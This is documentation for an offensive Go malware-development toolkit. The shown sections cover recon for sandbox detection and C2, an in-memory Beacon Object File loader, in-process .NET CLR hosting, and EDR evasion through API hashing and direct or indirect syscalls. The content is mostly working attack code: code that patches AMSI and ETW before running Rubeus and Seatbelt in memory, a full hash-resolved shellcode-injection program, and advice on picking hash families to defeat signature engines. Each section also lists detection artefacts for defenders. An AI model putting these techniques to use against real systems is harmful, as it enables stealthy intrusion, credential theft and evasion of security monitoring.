  • Folder redirection is opaque. Domain-joined hosts with redirected user folders return the redirected (network) path, not the local cached one — operators relying on local-only paths must validate.

See also

IP address & local-network detection

← recon index · docs/index

TL;DR

Cross-platform IP enumeration (InterfaceIPs) and local-address detection (IsLocal). Used to fingerprint sandboxes (looped-back /29 networks), source-aware C2 (avoid beaconing the same IP), and "is this hostname us?" checks.

Primer

InterfaceIPs walks net.Interfaces + each interface's Addrs — same surface every Go network tool uses. Returns a flat []net.IP covering loopback + physical + virtual + VPN adapters.

IsLocal decides whether a given input — IP literal, FQDN, or hostname — resolves to one of the host's own interfaces. DNS resolution runs if the input isn't already an IP literal. Used for "is this C2 endpoint actually our own host (sandbox hairpinning)?" probes.

API Reference

SymbolDescription
InterfaceIPs() ([]net.IP, error)Every IP across every interface
IsLocal(IPorDN any) (bool, error)Input is one of host's IPs
var ErrNotIPorDNInput is neither IP nor parseable hostname

Examples

Simple — list interface IPs

import "github.com/oioio-space/maldev/recon/network"

ips, _ := network.InterfaceIPs()
for _, ip := range ips {
    fmt.Println(ip.String())
}

Composed — avoid C2 self-target

ok, err := network.IsLocal("c2.example.com")
if err == nil && ok {
    // C2 host resolves to our own IP — sandbox hairpin trick;
    // bail out.
    return
}

Advanced — sandbox fingerprint

Sandboxes commonly run on /29 (8 host) or /30 networks with predictable gateway patterns. Combined with recon/sandbox this is one indicator among many.

ips, _ := network.InterfaceIPs()
for _, ip := range ips {
    if ip.IsLoopback() {
        continue
    }
    // narrow nets / private 10.0.0.x are common in sandboxes —
    // calibrate to the target environment
}

OPSEC & Detection

ArtefactWhere defenders look
net.Interfaces walksUniversal Go runtime call — invisible
DNS lookups for IsLocal inputsDNS telemetry sees the query; benign domain looks fine
Resolution failure on uncommon TLDsSandbox sinkholes resolve everything; real DNS NXDOMAINs

D3FEND counters: none specific.

Hardening for the operator: avoid resolving the implant's own C2 domain via IsLocal — the DNS query itself is a fingerprint.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1016System Network Configuration Discoveryfull

Limitations

  • No interface metadata beyond IP. MAC, MTU, link state are out of scope; use net.Interfaces directly.
  • DNS overhead. IsLocal on a hostname triggers DNS resolution; cache the result for hot paths.
  • No IPv6 hairpin awareness. IsLocal works on IPv6 literals but does not normalise scopes; link-local addresses may behave unexpectedly.

See also

In-process runtimes

← maldev README · docs/index

In-process loaders that execute foreign code (BOFs, .NET assemblies) without spawning child processes. The implant becomes its own post-exploitation runtime — useful when child-process creation is heavily monitored.

Packages

PackageTech pageDetectionOne-liner
runtime/bofbof-loader.mdquietBeacon Object File / COFF loader for in-memory x64 object-file execution
runtime/clrclr.mdmoderateIn-process .NET CLR hosting via ICLRMetaHost / ICorRuntimeHost

Quick decision tree

You want to…Use
…run a small custom C-compiled gadget without dropping an EXEruntime/bof
…run a .NET assembly (Mimikatz, Seatbelt, SharpHound) in-processruntime/clr
…drop a managed assembly to disk and run itnot this area — see Donut via pe/srdi

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1059Command and Scripting Interpreterruntime/bof (in-process gadget runtime)D3-PSA
T1620Reflective Code Loadingruntime/clrD3-PMA, D3-PSA

See also

BOF (Beacon Object File) loader

← runtime index · docs/index

TL;DR

Load + execute a Cobalt Strike-style Beacon Object File (BOF) — a compiled COFF object — entirely in process memory. Parses COFF, applies relocations, resolves entry-point, jumps into RWX memory. x64-only; no Beacon-API helpers (BOFs that call BeaconOutput etc. crash).

Primer

A BOF is a relocatable COFF (.o) object compiled by MSVC / MinGW. The format is the same as Linux's .o but for Windows PE-style relocations. BOFs were popularised by Cobalt Strike's inline-execute command — a tactical execution primitive that runs a small piece of native code inside the implant's process without spawning a fresh process or writing a PE to disk.

Use cases:

  • Run small Windows-API-heavy snippets (token enum, share enum, share scan) that don't need a full PE infrastructure.
  • Distribute compiled techniques as a .o artefact rather than a full implant.
  • Compose with the implant's runtime — the BOF runs in the caller's address space, so it can interact with implant state directly.

How It Works

flowchart LR
    INPUT[BOF .o bytes] --> PARSE[parse COFF<br>header + sections]
    PARSE --> ALLOC[VirtualAlloc RWX<br>copy .text + .data]
    ALLOC --> RELOC[apply relocations<br>ADDR64 / ADDR32NB / REL32]
    RELOC --> SYM[resolve entry symbol<br>from COFF symtab]
    SYM --> EXEC[jump to entry<br>via function ptr]
    EXEC --> OUT[capture output<br>via stdout redirect]

API Reference

SymbolDescription
type BOFLoaded BOF instance
Load(data []byte) (*BOF, error)Parse + relocate + ready to execute
(*BOF).Execute(args []byte) ([]byte, error)Run the entry point; return captured stdout

Examples

Simple — load + execute

import (
    "os"

    "github.com/oioio-space/maldev/runtime/bof"
)

data, _ := os.ReadFile("whoami.o")
b, err := bof.Load(data)
if err != nil {
    return
}
output, _ := b.Execute(nil)
fmt.Println(string(output))

Composed — chain multiple BOFs

for _, path := range []string{"whoami.o", "netstat.o", "tasklist.o"} {
    data, _ := os.ReadFile(path)
    b, err := bof.Load(data)
    if err != nil {
        continue
    }
    out, _ := b.Execute(nil)
    fmt.Printf("=== %s ===\n%s\n", path, out)
}

OPSEC & Detection

ArtefactWhere defenders look
VirtualAlloc(RWX) followed by EXECUTE from the allocBehavioural EDR — high-fidelity reflective-loader signal
Module-load events for non-stack .text regionsETW Microsoft-Windows-Threat-Intelligence
BOF entry-point execution from non-image memoryDefender for Endpoint MsSense

D3FEND counters:

  • D3-PA — RWX execute-from-allocation telemetry.
  • D3-FCA — YARA on the loaded bytes.

Hardening for the operator:

  • Allocate RW then RX via VirtualProtect instead of RWX — defeats the simplest RWX-watcher rules.
  • Encrypt the BOF at rest via crypto; decrypt + load + immediately re-encrypt the source buffer.
  • Pair with evasion/sleepmask for cleartext-at-rest mitigation.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1059Command and Scripting Interpreterpartial — in-memory native code executionD3-PA
T1620Reflective Code Loadingfull — COFF reflective loadD3-FCA, D3-PA

Limitations

  • No Beacon-API resolution. BOFs that call BeaconOutput, BeaconFormatAlloc, BeaconErrorD etc. crash. Use BOFs built without the Beacon-API contract or implement a stub resolver (out of scope here).
  • x64 only. Machine == 0x8664 required.
  • Limited relocation types. ADDR64 / ADDR32NB / REL32 only; exotic relocations (TLS, GOT) not supported.
  • No symbol resolution beyond the entry point. External imports are not resolved — pure in-process code only.
  • RWX allocation is loud. Hardened EDRs flag RWX from any source; pair with sleep-mask + RW→RX flip.

See also

CLR (.NET) in-process hosting

← runtime index · docs/index

TL;DR

Host the .NET CLR in process via ICLRMetaHost / ICorRuntimeHost COM and execute .NET assemblies from memory — no .exe / .dll on disk. Equivalent to Cobalt Strike's execute-assembly. Pair with evasion/amsi.PatchAll upstream — AMSI v2 scans every assembly passed to AppDomain.Load_3 and will block flagged bytes (SharpHound, Rubeus, Seatbelt).

Primer

The Common Language Runtime is the .NET execution engine. Any process can host the CLR by importing mscoree.dll and calling CLRCreateInstance. The hosting process gets a managed runtime inside its address space and can load + invoke .NET assemblies without spawning dotnet.exe / powershell.exe.

Operationally:

  • Run SharpHound / Rubeus / Seatbelt / GhostPack tooling in-process from a Go implant — no separate .exe to drop, no process-tree anomaly.
  • Side-step dotnet.exe / powershell.exe lineage rules.
  • Bridge to the entire .NET ecosystem for credential dumping, token theft, AD enumeration.

The trade-offs are loud:

  • Loading clr.dll + mscoreei.dll in a non-.NET process is itself a high-fidelity heuristic.
  • AMSI v2 scans every Load_3 call; without an AMSI patch most published tooling is blocked.
  • ETW Microsoft-Windows-DotNETRuntime emits assembly-load events.

How It Works

sequenceDiagram
    participant Imp as "Implant"
    participant MH as "ICLRMetaHost"
    participant RT as "ICLRRuntimeInfo"
    participant Host as "ICorRuntimeHost"
    participant AD as "AppDomain (default)"
    participant Asm as "managed assembly"

    Imp->>Imp: mscoree.CLRCreateInstance
    Imp->>MH: GetRuntime("v4.0.30319")
    MH-->>RT: ICLRRuntimeInfo
    Imp->>RT: GetInterface(CLSID_CLRRuntimeHost, IID_ICorRuntimeHost)
    RT-->>Host: ICorRuntimeHost
    Imp->>Host: Start
    Imp->>Host: GetDefaultDomain
    Host-->>AD: IUnknown → IDispatch
    Imp->>AD: Load_3(SAFEARRAY[byte])
    AD-->>Asm: loaded assembly
    Imp->>Asm: EntryPoint.Invoke(args)
    Asm-->>Imp: managed code runs in-proc

Load(nil) picks the preferred installed runtime (v4 > legacy). For .NET 3.5 (legacy) targets call [InstallRuntimeActivationPolicy] first to register the required CLSID — disabled by default on modern Windows. The package returns [ErrLegacyRuntimeUnavailable] when the legacy runtime can't be activated.

API Reference

SymbolDescription
type RuntimeActive CLR host instance
Load(caller *wsyscall.Caller) (*Runtime, error)Bring up the CLR; pick preferred runtime
(*Runtime).ExecuteAssembly(asm []byte, args []string) errorLoad + invoke entry point
(*Runtime).Close() errorTear down the AppDomain + release COM
InstalledRuntimes() ([]string, error)Enumerate installed .NET versions
InstallRuntimeActivationPolicy() errorRegister .NET 3.5 CLSID for legacy hosting
RemoveRuntimeActivationPolicy() errorReverse the install
var ErrLegacyRuntimeUnavailable.NET 3.5 hosting unavailable
type Args / NewArgs()Typed argv builder

Examples

Simple — load + execute

import (
    "os"

    "github.com/oioio-space/maldev/runtime/clr"
)

rt, err := clr.Load(nil)
if err != nil {
    return
}
defer rt.Close()

asm, _ := os.ReadFile("Seatbelt.exe")
_ = rt.ExecuteAssembly(asm, []string{"-group=system"})

Composed — AMSI patch + ETW patch + execute

import (
    "os"

    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/runtime/clr"
)

if err := amsi.PatchAll(); err != nil {
    return
}
_ = etw.PatchAll()

rt, _ := clr.Load(nil)
defer rt.Close()

asm, _ := os.ReadFile("Rubeus.exe")
_ = rt.ExecuteAssembly(asm, []string{"triage"})

Advanced — list + pick runtime

versions, _ := clr.InstalledRuntimes()
for _, v := range versions {
    fmt.Println("installed:", v)
}

OPSEC & Detection

ArtefactWhere defenders look
clr.dll + mscoreei.dll module load in non-.NET hostHigh-fidelity heuristic — Defender for Endpoint, Elastic, S1
AmsiScanBuffer flagging the assemblyAMSI v2 scans every Load_3 — published tooling caught universally
Microsoft-Windows-DotNETRuntime ETW providerAssembly-load events; without ETW patch every load is logged
ICorRuntimeHost COM activation from non-Microsoft processEDR COM-activation telemetry
Process Hollowing-like behaviour: process metadata says non-.NET, runtime hosts CLRBehavioural EDR rule

D3FEND counters:

  • D3-PSA — module-load lineage.
  • D3-FCA — AMSI on assembly bytes.

Hardening for the operator:

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1620Reflective Code Loadingfull — CLR-hosted in-memory .NETD3-FCA, D3-PSA
T1059Command and Scripting Interpreterpartial — in-process .NET execution without dotnet.exeD3-PSA

Limitations

  • AMSI / ETW upstream patches required for hostile assemblies.
  • CLR lifecycle is global per-process. Once started, a CLR cannot be cleanly unloaded; subsequent Load calls re-use the same instance.
  • Output capture. Stdout / stderr from the assembly require redirection setup before ExecuteAssembly.
  • AppDomain isolation absent. All assemblies share the default AppDomain; one exception can take down the runtime.
  • .NET 3.5 disabled-by-default on modern Windows. Legacy runtime hosting needs the policy install.
  • [STAThread] requirement. Some assemblies require an STA apartment; running without re-creating that apartment may fail for COM-heavy tooling.

Credit

  • ropnop/go-clr — canonical Go port; vendored upstream.

See also

Syscall Methods & SSN Resolvers

← maldev README · docs/index

The win/syscall package composes three orthogonal concerns behind a single *Caller. Operators tune each axis independently; downstream packages (inject/*, evasion/*, c2/shell) accept a *Caller and inherit the chosen posture without recompiling.

Three concerns (read this first)

flowchart LR
    subgraph callsite [Call site<br>e.g. inject.RemoteThread]
        C["*wsyscall.Caller"]
    end
    subgraph axis1 [1. Calling method<br>HOW the syscall fires]
        A1["MethodWinAPI / NativeAPI / Direct /<br>Indirect / IndirectAsm"]
    end
    subgraph axis2 [2. SSN resolver<br>WHERE the syscall number comes from]
        A2["HellsGate / HalosGate / Tartarus /<br>HashGate / Chain"]
    end
    subgraph axis3 [3. API hashing<br>HOW the symbol is found without a string]
        A3["ROR13 / FNV / Jenkins / custom HashFunc"]
    end
    C --> A1
    C --> A2
    A2 --> A3

The three axes answer different questions:

AxisQuestion it answersPages
1 — Calling methodHow does the implant issue the syscall once the SSN is known? Which userland boundary do we cross / skip?direct-indirect.md
2 — SSN resolverWhere does the SSN come from? What happens when the canonical source (the unhooked ntdll prologue) is unavailable?ssn-resolvers.md
3 — API hashingHow do we identify the right Nt* export without a plaintext name in the binary?api-hashing.md

Tuning one axis does NOT imply tuning the others. You can:

  • pick MethodIndirect (axis 1) with HellsGate (axis 2) — no api-hashing.
  • pick MethodWinAPI (axis 1) with HashGate (axis 2 — uses axis 3 internally).
  • swap the hash function on HashGate (axis 3) without touching axis 1 / 2.

Architecture Overview

graph TD
    subgraph "Consumer Packages"
        INJ[inject/]
        EVA[evasion/]
        C2[c2/shell]
    end

    subgraph "win/syscall"
        CALLER["*Caller"]
        CALLER -->|method| WINAPI[MethodWinAPI]
        CALLER -->|method| NATIVE[MethodNativeAPI]
        CALLER -->|method| DIRECT[MethodDirect]
        CALLER -->|method| INDIRECT[MethodIndirect]

        CALLER -->|resolver| HG[HellsGate]
        CALLER -->|resolver| HAG[HalosGate]
        CALLER -->|resolver| TG[TartarusGate]
        CALLER -->|resolver| HGR[HashGate]
        CALLER -->|resolver| CH[Chain]
    end

    subgraph "win/api"
        PEB["PEB Walk"]
        HASH["API Hashing"]
        RESOLVE["ResolveByHash"]
    end

    INJ -->|"*Caller (nil = WinAPI)"| CALLER
    EVA -->|"*Caller (nil = WinAPI)"| CALLER
    C2 -->|"*Caller (nil = WinAPI)"| CALLER
    HGR --> PEB
    HGR --> HASH
    RESOLVE --> PEB
    RESOLVE --> HASH

Quick Reference

MethodHook BypassStack CleanMemory CleanStealth
WinAPINoneN/AN/ALowest
NativeAPIkernel32N/AN/ALow
DirectAll userlandNoNoMedium
IndirectAll userlandYesYesHigh (heap stub, RW↔RX cycle)
IndirectAsmAll userlandYesYesHighest (Go-asm stub, no writable code)
ResolverUnhooked ntdllJMP-hooked ntdllFully hooked ntdllString-free
HellsGateYesNoNoNo
HalosGateYesYes (neighbor)NoNo
TartarusGateYesYes (trampoline)Yes (neighbor fallback)No
HashGateYesNoNoYes
ChainDepends on compositionDepends on compositionDepends on compositionDepends

Quick decision tree

You want to…Use
…call a Windows API with no plaintext name in the binaryapi-hashing.md (HashGate)
…skip kernel32-level hooks but stay in ntdlldirect-indirect.mdMethodNativeAPI
…skip every userland hook (kernel32 + ntdll)direct-indirect.mdMethodIndirect / MethodIndirectAsm
…make the syscall return inside ntdll's .text (call-stack stealth)direct-indirect.mdMethodIndirect family
…avoid any writable code page in the implantdirect-indirect.mdMethodIndirectAsm
…randomise the syscall return address per calldirect-indirect.md — gadget pool
…auto-fall-back when the target stub is hookedssn-resolvers.md — Halo's / Tartarus / Chain
…read the SSN even when the entire ntdll text section is hookedssn-resolvers.md — TartarusGate
…swap in your own hash function (defeat ROR13 fingerprints)NewHashGateWith(fn) + Caller.WithHashFunc(fn)

Documentation

DocumentDescription
Direct & Indirect SyscallsThe five invocation methods (incl. Go-asm IndirectAsm) and when to use each
API HashingPEB walk + ROR13 hashing to eliminate plaintext strings
SSN ResolversHell's Gate, Halo's Gate, Tartarus Gate, HashGate

MITRE ATT&CK

TechniqueIDDescription
Native APIT1106Directly interact with the native OS API

D3FEND Countermeasures

CountermeasureIDDescription
System Call AnalysisD3-SCAMonitor syscall origins and patterns
Function Call RestrictionD3-FCRRestrict dynamic function resolution

See also

API Hashing (PEB Walk + ROR13)

<- Back to Syscalls Overview

MITRE ATT&CK: T1106 - Native API D3FEND: D3-FCR - Function Call Restriction


What api-hashing is NOT

[!IMPORTANT] api-hashing is only the symbol-resolution axis (concern #3 in README.md). It answers "how do I find the right export without a plaintext string?".

It does not decide:

  • how the syscall fires — that's the calling method (MethodWinAPI / MethodNativeAPI / MethodDirect / MethodIndirect / MethodIndirectAsm). See direct-indirect.md.
  • where the SSN comes from — that's the SSN resolver (HellsGate / HalosGate / TartarusGate / Chain). See ssn-resolvers.md. HashGate is the resolver that uses api-hashing to find the Nt* prologue.

Tuning hashing alone does not give you a stealthier syscall — a hash-resolved MethodWinAPI call still goes through every kernel32/ntdll hook in the process. Pair api-hashing with the calling method and SSN resolver you want.

Primer

When your program calls VirtualAlloc, the string "VirtualAlloc" appears in the binary. Any analyst running strings on your executable can see exactly which dangerous APIs you use.

Instead of calling someone by name (which gets overheard), you use a coded number. API hashing converts function names like "NtAllocateVirtualMemory" into numeric hashes like 0xD33BCABD. Your binary only contains these numbers -- no readable strings. At runtime, the code walks the Process Environment Block (PEB) to find loaded DLLs and their exports, hashing each export name until it finds a match.


How It Works

flowchart TD
    subgraph "Build Time"
        FN["Function name:\nNtAllocateVirtualMemory"] -->|ROR13| HASH["Hash constant:\n0xD33BCABD"]
        MN["Module name:\nKERNEL32.DLL"] -->|"ROR13 (wide + null)"| MHASH["Hash constant:\n0x50BB715E"]
    end

    subgraph "Runtime Resolution"
        TEB["Thread Environment Block\n(GS:0x30)"] -->|"+0x60"| PEB["Process Environment Block"]
        PEB -->|"+0x18"| LDR["PEB_LDR_DATA"]
        LDR -->|"+0x10"| LIST["InLoadOrderModuleList"]

        LIST --> WALK["Walk linked list"]
        WALK --> MOD1["ntdll.dll\nBase: 0x7FFE..."]
        WALK --> MOD2["KERNEL32.DLL\nBase: 0x7FFD..."]
        WALK --> MOD3["...other DLLs"]

        MOD2 -->|"Hash BaseDllName\ncompare with 0x50BB715E"| MATCH["Module found!"]
        MATCH -->|"Parse PE headers"| EXPORTS["Export Directory"]
        EXPORTS -->|"Walk AddressOfNames"| EWALK["Hash each export name"]
        EWALK -->|"Compare with 0xD33BCABD"| FOUND["Function address found!"]
    end

    HASH -.->|"embedded in binary"| EWALK
    MHASH -.->|"embedded in binary"| MOD2

    style HASH fill:#a94,color:#fff
    style MHASH fill:#a94,color:#fff
    style FOUND fill:#4a9,color:#fff

PEB Walk Details

The PEB (Process Environment Block) contains a list of all loaded DLLs. On x64 Windows:

  1. TEB (Thread Environment Block) is at GS:0x30
  2. PEB is at TEB+0x60
  3. PEB_LDR_DATA is at PEB+0x18
  4. InLoadOrderModuleList starts at LDR+0x10

Each entry in the list is an LDR_DATA_TABLE_ENTRY containing:

  • +0x30: DllBase (the module's base address)
  • +0x58: BaseDllName as UNICODE_STRING (Length, MaxLength, Buffer)

ROR13 Hashing

ROR13 (Rotate Right by 13 bits) is the de facto standard for shellcode API hashing:

For each character c in the name:
    hash = (hash >> 13) | (hash << 19)   // rotate right 13 bits
    hash = hash + c                       // add character value

Two variants exist in maldev:

  • ROR13 (hash.ROR13): ASCII, no null terminator -- used for export names
  • ROR13Module (hash.ROR13Module): UTF-16LE wide chars + null terminator -- used for PEB module names

Beyond ROR13 — defeating signature engines

Many EDR signature engines key on the canonical ROR13 constants (0x6A4ABC5B for kernel32, 0x4FC8BB5A for LoadLibraryA, …). If the engine sees those uint32s in a binary's .rdata, it flags the file regardless of the runtime behaviour.

Pivoting to a different hash family makes the implant's constants statically distinct. The hash package ships:

FunctionOutputNotes
hash.ROR13(name)uint32Canonical shellcode hash; widest signature exposure.
hash.JenkinsOAAT(name)uint32Bob Jenkins one-at-a-time + avalanche tail; cheap, no division, slightly better avalanche than ROR13.
hash.FNV1a32(name)uint32FNV-1a 32-bit; matches hash/fnv byte-for-byte.
hash.FNV1a64(name)uint64FNV-1a 64-bit.
hash.DJB2(name)uint32Bernstein hash * 33 + c; classic, weaker on short inputs.
hash.CRC32(name)uint32IEEE polynomial; backed by hash/crc32 table.

Compose with win/syscall:

caller := wsyscall.New(
    wsyscall.MethodIndirectAsm,
    wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)

Both ends MUST agree: NewHashGateWith(fn) for the resolver, WithHashFunc(fn) for any CallByHash call. Pre-compute the hash constants once at build time (or via a go generate step) to keep the binary string-free.

cmd/hashgen — generate the constants

Use the in-tree CLI to emit const Hash<Algo><Symbol> = 0x… declarations for any of the 7 supported algorithms (ror13, ror13module, fnv1a32, fnv1a64, jenkins, djb2, crc32):

go run ./cmd/hashgen -algo jenkins -package winhashes \
    LoadLibraryA GetProcAddress NtAllocateVirtualMemory > winhashes/winhashes_gen.go

Or, for go generate-style integration, drop a stanza like the following into a stub file and check the generated output into git:

//go:generate go run ../../cmd/hashgen -algo jenkins -package winhashes -o winhashes_gen.go LoadLibraryA GetProcAddress

This keeps the runtime cost zero (no hashing on each process start) and the binary string-free.

PE Export Resolution

Once the module base is found, the code parses the PE export directory:

  1. Read e_lfanew at offset 0x3C to find the PE header
  2. Navigate to DataDirectory[0] (export directory) at PE header +24+112
  3. Walk AddressOfNames, hash each name, compare with target hash
  4. On match, read the ordinal from AddressOfNameOrdinals and the RVA from AddressOfFunctions

Usage

ResolveByHash: Find a Function Address

import "github.com/oioio-space/maldev/win/api"

// Resolve LoadLibraryA in KERNEL32.DLL -- no strings in binary
addr, err := api.ResolveByHash(api.HashKernel32, api.HashLoadLibraryA)
if err != nil {
    log.Fatal(err)
}
// addr is now the function pointer for LoadLibraryA

CallByHash: Execute a Syscall by Hash

import (
    "github.com/oioio-space/maldev/win/api"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()

// NtAllocateVirtualMemory via hash -- zero plaintext function names
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
    uintptr(0xFFFFFFFFFFFFFFFF),
    uintptr(unsafe.Pointer(&baseAddr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_READWRITE,
)

HashGateResolver: SSN Resolution by Hash

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// HashGate resolves SSNs via PEB walk -- no LazyProc.Find() calls
resolver := wsyscall.NewHashGate()
ssn, err := resolver.Resolve("NtCreateThreadEx")
// ssn is the syscall service number (e.g., 0xC1)

Pre-Computed Hash Constants

// Module hashes (ROR13Module of BaseDllName in PEB)
api.HashKernel32  // 0x50BB715E  "KERNEL32.DLL"
api.HashNtdll     // 0x411677B7  "ntdll.dll"
api.HashAdvapi32  // 0x9CB9105F  "ADVAPI32.dll"
api.HashUser32    // 0x51319D6F  "USER32.dll"
api.HashShell32   // 0x18D72CAC  "SHELL32.dll"

// Function hashes (ROR13 of ASCII export name)
api.HashLoadLibraryA            // 0xEC0E4E8E
api.HashGetProcAddress          // 0x7C0DFCAA
api.HashVirtualAlloc            // 0x91AFCA54
api.HashNtAllocateVirtualMemory // 0xD33BCABD
api.HashNtProtectVirtualMemory  // 0x8C394D89
api.HashNtCreateThreadEx        // 0x4D1DEB74
api.HashNtWriteVirtualMemory    // 0xC5108CC2

Combined Example: defeat ROR13 fingerprinting

A ROR13-only signature engine sees the canonical api.HashLoadLibraryA = 0xEC0E4E8E constant in the binary's .rdata and flags the file. Switching the entire stack to JenkinsOAAT changes that constant to a fresh value the engine never trained on:

package main

import (
    "fmt"

    "github.com/oioio-space/maldev/hash"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // Both ends MUST agree on the hash family.
    caller := wsyscall.New(
        wsyscall.MethodIndirectAsm,
        wsyscall.NewHashGateWith(hash.JenkinsOAAT),
    ).WithHashFunc(hash.JenkinsOAAT)
    defer caller.Close()

    // Pre-compute the funcHash at build time. JenkinsOAAT yields a
    // different uint32 than ROR13 for the same name, so existing
    // signature databases targeting the ROR13 constant don't match.
    ntClose := hash.JenkinsOAAT("NtClose") // = 0x???????? (your build's value)

    if _, err := caller.CallByHash(ntClose, 0); err != nil {
        fmt.Println("syscall:", err)
    }
}

hash.FNV1a32, hash.DJB2, hash.CRC32, and hash.FNV1a64 swap in identically — pick the family least represented in the target signature corpus.

Combined Example: String-Free Injection

package main

import (
    "unsafe"

    "golang.org/x/sys/windows"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/win/api"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // All function resolution via hashes -- no "NtAllocateVirtualMemory" string in binary
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
    defer caller.Close()

    // Decrypt shellcode (key would be derived at runtime in production)
    key, _ := crypto.NewAESKey()
    shellcode := []byte{/* ... */}
    encrypted, _ := crypto.EncryptAESGCM(key, shellcode)
    decrypted, _ := crypto.DecryptAESGCM(key, encrypted)

    // Allocate memory via hash
    var baseAddr uintptr
    regionSize := uintptr(len(decrypted))
    caller.CallByHash(api.HashNtAllocateVirtualMemory,
        uintptr(0xFFFFFFFFFFFFFFFF),
        uintptr(unsafe.Pointer(&baseAddr)),
        0,
        uintptr(unsafe.Pointer(&regionSize)),
        windows.MEM_COMMIT|windows.MEM_RESERVE,
        windows.PAGE_READWRITE,
    )

    // Write shellcode via hash
    var bytesWritten uintptr
    caller.CallByHash(api.HashNtWriteVirtualMemory,
        uintptr(0xFFFFFFFFFFFFFFFF),
        baseAddr,
        uintptr(unsafe.Pointer(&decrypted[0])),
        uintptr(len(decrypted)),
        uintptr(unsafe.Pointer(&bytesWritten)),
    )

    // Change protection via hash
    var oldProtect uintptr
    caller.CallByHash(api.HashNtProtectVirtualMemory,
        uintptr(0xFFFFFFFFFFFFFFFF),
        uintptr(unsafe.Pointer(&baseAddr)),
        uintptr(unsafe.Pointer(&regionSize)),
        windows.PAGE_EXECUTE_READ,
        uintptr(unsafe.Pointer(&oldProtect)),
    )

    // Execute via hash
    var threadHandle uintptr
    caller.CallByHash(api.HashNtCreateThreadEx,
        uintptr(unsafe.Pointer(&threadHandle)),
        0x1FFFFF, 0, uintptr(0xFFFFFFFFFFFFFFFF),
        baseAddr, 0, 0, 0, 0, 0, 0,
    )

    windows.WaitForSingleObject(windows.Handle(threadHandle), windows.INFINITE)
}

Advantages & Limitations

Advantages

  • No plaintext strings: strings and YARA rules targeting API names find nothing
  • No IAT entries: Functions resolved at runtime are invisible in the Import Address Table
  • Composable: HashGate works as an SSNResolver in the Chain pipeline
  • Lazy init: ntdll base address resolved once via sync.Once, cached for all subsequent calls

Limitations

  • ROR13 collisions: Theoretically possible (32-bit hash space), though none exist for common NT function names
  • PEB walk detectable: ETW providers and some EDRs monitor PEB traversal patterns
  • Hash constants are signatures: Known ROR13 values (e.g., 0xD33BCABD for NtAllocateVirtualMemory) become YARA targets themselves — switch families (hash.JenkinsOAAT / hash.FNV1a32 / hash.DJB2 / hash.CRC32) to render those signatures useless against your binary
  • No pre-computed Hash* constants for non-ROR13 families: win/api.HashKernel32 / HashLoadLibraryA / etc. are ROR13-only. When pairing wsyscall.NewHashGateWith(hash.JenkinsOAAT) with Caller.CallByHash, callers compute the funcHash at build time themselves. A cmd/hashgen go generate step that emits per-family constant tables is queued under backlog row P2.24.
  • Requires loaded modules: Can only resolve functions from DLLs already in the PEB -- cannot load new DLLs by hash alone

API Reference

win/api

// ResolveByHash resolves a function address by module + function ROR13 hashes.
func ResolveByHash(moduleHash, funcHash uint32) (uintptr, error)

// ModuleByHash finds a loaded module's base address via PEB walk.
func ModuleByHash(hash uint32) (uintptr, error)

// ExportByHash finds a function address in a loaded PE by export name hash.
func ExportByHash(moduleBase uintptr, funcHash uint32) (uintptr, error)

win/syscall

// CallByHash executes a syscall using a pre-computed ROR13 hash.
func (c *Caller) CallByHash(funcHash uint32, args ...uintptr) (uintptr, error)

// NewHashGate creates a resolver that uses PEB walk + ROR13 hashing.
func NewHashGate() *HashGateResolver

hash

// ROR13 computes the ROR13 hash of an ASCII string (no null terminator).
func ROR13(name string) uint32

// ROR13Module computes the ROR13 hash of a UTF-16LE module name (with null terminator).
func ROR13Module(name string) uint32

See also

Direct & Indirect Syscalls

<- Back to Syscalls Overview

MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis


What direct/indirect syscalls is NOT

[!IMPORTANT] Direct/indirect syscalls is only the calling-method axis (concern #1 in README.md). It answers "how do I issue the syscall — through kernel32, through ntdll, or straight from the implant's own page?".

It does not decide:

  • where the SSN comes from — that's the SSN resolver (ssn-resolvers.md). MethodDirect / MethodIndirect / MethodIndirectAsm all consume an SSN they didn't compute themselves.
  • how the Nt* export is found — that's api-hashing.md. The calling method is identical whether the symbol came from a string lookup or a ROR13 hash.

Picking MethodIndirectAsm alone does not make your implant string-free or hook-resilient against pre-injection ntdll patches — pair it with HashGate (resolver) for the full stack.

Primer

When your program needs Windows to do something (allocate memory, create a thread), it normally goes through the official front desk -- kernel32.dll and ntdll.dll. EDR products stand at this front desk, logging every request.

Instead of going through the official front desk (which logs everything), you find a back door. Direct syscalls build a tiny instruction that talks to the kernel directly, skipping the hooked ntdll code entirely. Indirect syscalls go one step further: they make it look like the call came from ntdll, even though your code initiated it -- like sneaking in the back door but leaving footprints that look like they came from the front.


How It Works

Every NT function in ntdll follows the same x64 pattern:

mov r10, rcx         ; save first arg (kernel expects r10, not rcx)
mov eax, <SSN>       ; load the Syscall Service Number
syscall              ; transition to kernel mode
ret

The SSN is an index into the kernel's System Service Descriptor Table (SSDT). EDR products hook these functions by overwriting the prologue bytes with a JMP to their monitoring code.

The five methods in win/syscall differ in how they reach the syscall instruction:

flowchart LR
    subgraph "WinAPI / NativeAPI"
        A1[Your Code] -->|"LazyProc.Call()"| A2[kernel32.dll]
        A2 --> A3[ntdll.dll]
        A3 -->|"syscall"| A4[Kernel]
        A3 -.->|"EDR hook"| EDR1[EDR Monitor]
    end

    subgraph "Direct Syscall"
        B1[Your Code] -->|"SSN resolved"| B2["Private stub\n(mov eax,SSN; syscall; ret)"]
